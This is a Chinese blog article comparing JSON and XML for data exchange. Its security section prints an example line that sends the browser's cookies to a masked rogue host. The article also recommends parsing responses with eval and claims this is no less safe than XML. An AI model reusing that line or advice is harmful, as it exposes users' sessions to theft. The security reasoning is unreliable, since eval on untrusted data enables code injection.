JSON之——与XML的强强对话

        曾几何时，XML是程序员的宠儿，是数据传输、API、AJAX应用等方面的不二选择，但自从JSON横空出世后，或者你会发觉你身边就有很多人开始抛弃XML，在他们的心目中，JSON已经完全取代了XML的位置。JSON有很多优势，但也存在缺点，而XML虽然确实存在不少问题，但孰优孰劣，并不是可以依据个人喜好就轻易得出结论的。

        JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式，但是也使用了类似于C语言家族的习惯（包括C, C++, C#, Java, Javascript, Perl, Python等）。这些特性使JSON成为理想的数据交换语言。 正是因为这样，twitter已经声称他们的流媒体API将不再支持XML，Foursquare则强烈推荐开发者在使用他们的API时选择JSON，因为他们计划下一代接口只支持JSON。

首先我们将从下面几个方面来客观比较一下两者
• 1. 可读性
• 2. 是否易于在服务端创建数据
• 3. 是否易于在客户端处理数据
• 4. 扩展性
• 5. 调试和故障排除
• 6. 安全
        一、可读性
        两者都具备很好的可读性，但从实际应用出发，个人还是觉得XML文档的可读性无疑会更高，要求你从一大堆的json代码里看出它的结构层次关系还是 相对比较困难的；而且现在很多的IDE工具都可以把XML格式化成易读的结构形式，看起来相当舒服，而json则不然。在这一方面我投XML一票。
        二、是否易于在服务端创建数据
        XML已经流行了好多年了，目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML.json这一方面的API则相对是一个全新的领域，尽管如此，json官方网站还是列出了很多令人印象深刻的各种语言的API。在这一方面，虽然json相对于XML并不是望尘莫及，但还是略微逊色一筹，尤其是在复杂的应用方面，XML方面的API已经存在多年，相对来说成熟稳定得多了。
        三、是否易于在客户端处理数据
        在客户端，要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情，只需要使用javascript的eval函 数就可以实现把json格式的数据转换成javascript对象，然后通过对象的属性去访问值，这就是json最优雅之处，无数人为之着迷。而XML在 这一方面就不是那么的友善了，曾令无数的程序员头痛不已，因为处理XML响应数据，你得通过DOM树，这是非常繁琐且容易出错的工作。这一点，我毫不犹豫 地选择json。
        四、扩展性
        可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里，客户端脚本应该合理地兼容不可知的数据扩展。
毫无疑问，XML是可扩展的，但它的扩展是有局限的，因为如果你要适应扩展的话，那么你的客户端代码不得不作出相应的改动，如以下的客户端解析代码

var xml = xhr.responseXML;  
var elements = xml.getElementsByTagName("firstName");  
var firstNameEl = elements[0];  
var lastNameEl = firstNameEl.nextSibling;

        如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话，那以上的代码就要作相应 的改变，否则会出错，也就是说，XML的扩展得伴随着解析代码的变更，这可没有什么魔法可言。而json则简单得多，即使你要增加middleName这 一属性，在js客户端依然是通过对象访问属性值即可，而不会引起js上的语法出错之类的错误，导致程序无法执行。
        五、调试和故障排除
        这方面需要从服务端和客户端两方面进行考虑，在服务器端，要确保数据是格式良好的和有效的；在客户端，它应该容易调试错误的。
        使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构（schema）来验证xml的正确性和有效性。使用JSON，这个任务是手动的，并涉及验证响应对象中是否包含正确的属性。
        在客户端，要从两者中找到错误都是比较困难的。对于XML，浏览器是完全无法将xml格式化成responseXML；如果对于数据量较少的json数据，还可以通过firebug来发现错误，但对于大数据量的话，那只能靠手工检查了，否则也只能坐以待毙了。
        六、安全性
        有人认为，使用json是不安全的，原因是json里可以包含js代码，而客户端中使用eval可以使这些代码执行，而这些代码可能会存在安全隐患。如以下的代码：

1	window.location = "<a href="http://***.com/">http://***.com</a>?" + document.cookie;  
2	person : {  
3	 "firstName" : "xml",  
4	 "lastName" : "json"  
5	}

        上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之，别人是无法这样做的，但如果是开 发者有意为之的话，那他一样以别的方式来实现把你的cookie数据提交到流氓网站，这与是否使用json无关，所以相对于XML，json是同样安全的。

当然谈到XML与JSON，不得不提的就是“重量级”和“轻量级”

        轻量级和重量级是相对来说的，那么XML相对于JSON的重量级体现在哪呢？我想应该体现在解析上，XML目前设计了两种解析方式：DOM和SAX；
        DOM是把一个数据交换格式XML看成一个DOM对象，需要把XML文件整个读入内存，这一点上JSON和XML的原理是一样的，但是XML要考虑 父节点和子节点，这一点上JSON的解析难度要小很多，因为JSON构建于两种结构：key/value，键值对的集合；值的有序集合，可理解为数组；
        SAX不需要整个读入文档就可以对解析出的内容进行处理，是一种逐步解析的方法。程序也可以随时终止解析。这样，一个大的文档就可以逐步的、一点一点的展现出来，所以SAX适合于大规模的解析。这一点，JSON目前是做不到得。
        所以，JSON和XML的轻/重量级的区别在于：JSON只提供整体解析方案，而这种方法只在解析较少的数据时才能起到良好的效果；而XML提供了对大规模数据的逐步解析方案，这种方案很适合于对大量数据的处理。

总结：

        主观上来看，JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述，只是描述较简短。从总体来看，XML比较适合于标记文档，而JSON却更适于进行数据交换处理。

参考博客：

《XML与JSON的区别，总结》

《JSON 和 XML优缺点的比较》